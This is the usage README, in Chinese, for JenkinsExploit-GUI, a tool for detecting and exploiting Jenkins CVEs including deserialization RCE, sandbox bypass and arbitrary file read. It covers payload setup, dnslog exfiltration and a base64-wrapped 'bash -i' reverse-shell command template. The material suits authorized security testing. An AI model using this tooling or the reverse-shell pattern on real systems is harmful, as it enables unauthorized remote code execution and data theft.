一、使用
jdk版本
在windows
或linux使用jdk8
的哪一个版本应该都可以,在macOS
里需要jdk8u较高的版本,比如jdk8u321
二、外置payload
从release
下载windows_tools,linux_tools
或macOS_tools
并放在与JenkinsExploit-GUI-*-SNAPSHOT.jar
相同的目录,或者可以自行打包tools_source
中的python
源码文件
如果是linux
或macOS
的话需要对外置payload
进行chmod +x
赋予权限
三、dnslog配置
进行dnslog
设置,目前仅支持dnslog.pw
和ceye.io
四、进行检测
在验证无回显命令执行的时候为了避免转义问题,推荐用如下方式进行反弹shell
和dnslog
外带信息
bash -c {echo,Y....}|{base64,-d}|{bash,-i}
五、支持检测
CVE-2015-8103/CVE-2016-0788 Jenkins 反序列化远程代码执行
https://github.com/Medicean/VulApps/tree/master/j/jenkins/1
CVE-2016-0792 Jenkins XStream反序列化远程代码执行
https://github.com/jpiechowka/jenkins-cve-2016-0792
CVE-2017-1000353 Jenkins-CI 远程代码执行漏洞
https://github.com/vulhub/CVE-2017-1000353
CVE-2018-1000600 Jenkins GitHub SSRF+信息泄露
CVE-2018-1000861 Jenkins 绕过Groovy沙盒未授权命令执行漏洞
https://github.com/orangetw/awesome-jenkins-rce-2019
CVE-2018-1999002 Jenkins 任意文件读取
https://mp.weixin.qq.com/s/MOKeN1qEBonS8bOLw6LH_w
CVE-2019-1003000 Jenkins 远程代码执行
https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc
CVE-2019-1003005/CVE-2019-1003029 远程代码执行(Script Security Plugin沙箱绕过)
https://github.com/orangetw/awesome-jenkins-rce-2019
CVE-2024-23897 Jenkins CLI 接口任意文件读取漏洞
https://github.com/vulhub/vulhub/blob/master/jenkins/CVE-2024-23897
六、未完待续
CVE-2016-9299 Jenkins ldap反序列化远程代码执行,添加poc
CVE-2017-1000353 无法检测的bug
继续尝试把外置的payload接入到java代码中
添加批量检测功能
七、源码打包
mvn clean package -DskipTests
cd target
zip -d JenkinsExploit-GUI-*-SNAPSHOT.jar 'META-INF/*.SF' 'META-INF/*.RSA' 'META-INF/*DSA'
八、项目地址
https://github.com/TheBeastofwar/JenkinsExploit-GUI